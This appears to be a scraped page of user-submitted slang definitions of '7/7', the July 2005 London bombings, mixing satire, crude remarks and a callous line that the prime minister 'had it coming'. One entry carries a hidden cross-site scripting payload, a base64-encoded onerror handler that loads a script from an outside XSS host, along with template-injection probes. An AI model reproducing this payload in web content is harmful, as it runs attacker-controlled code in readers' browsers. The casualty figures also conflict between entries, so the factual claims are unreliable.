A very crass attempt by journalists to rope the 7th of July bombings in London to 9/11. They had previously tried to dub the Madrid bombing 3/11, but strangely forgot to try this method for the Bali bombing. Of course, they don't realise how irresponsible this is due to the fact it will instantly create the impression Osama bin-Laden was involved so the reactionary press will bleat on about al-Que'da for days on end and get in the way of the police finding who was actually responsible (and it was neither al-Que'da or embittered members of the Paris Olympic Committee).
Journo 1: What will we call this attack on London?
Journo 2: Well, if 11th September is forever known as 9/11, why not call it 7/7?
Journo 1: Don't you think that's crass, as you can't compare the death of 3000 people with 56?
Journo 2: No, as we're responsible people and our readers have the intellect to discern the two bombings and not create a link in their heads, as we obviously won't have created it...

I was on the urban dictionary website and then I saw "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmFja3hzcy54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>{{7*7}}7*7{{7'*'7}} and I wrote this.

The "new" way of referring to July 7th, 2005, when London was hot by terrorists. People in London seem to think that it should get it's own date, because, of course, this was on the same scale of 9-11, give or take a few thousand deaths.

No he's out of your league, he only dates 7-7s.

What is to be called the day the London Subway got bombed the f*** out. Similar to America's 9/11. Killed about 27 people.
Tony Blair had it coming to him. If he just stopped kissing Bush's ass none of this would have happened
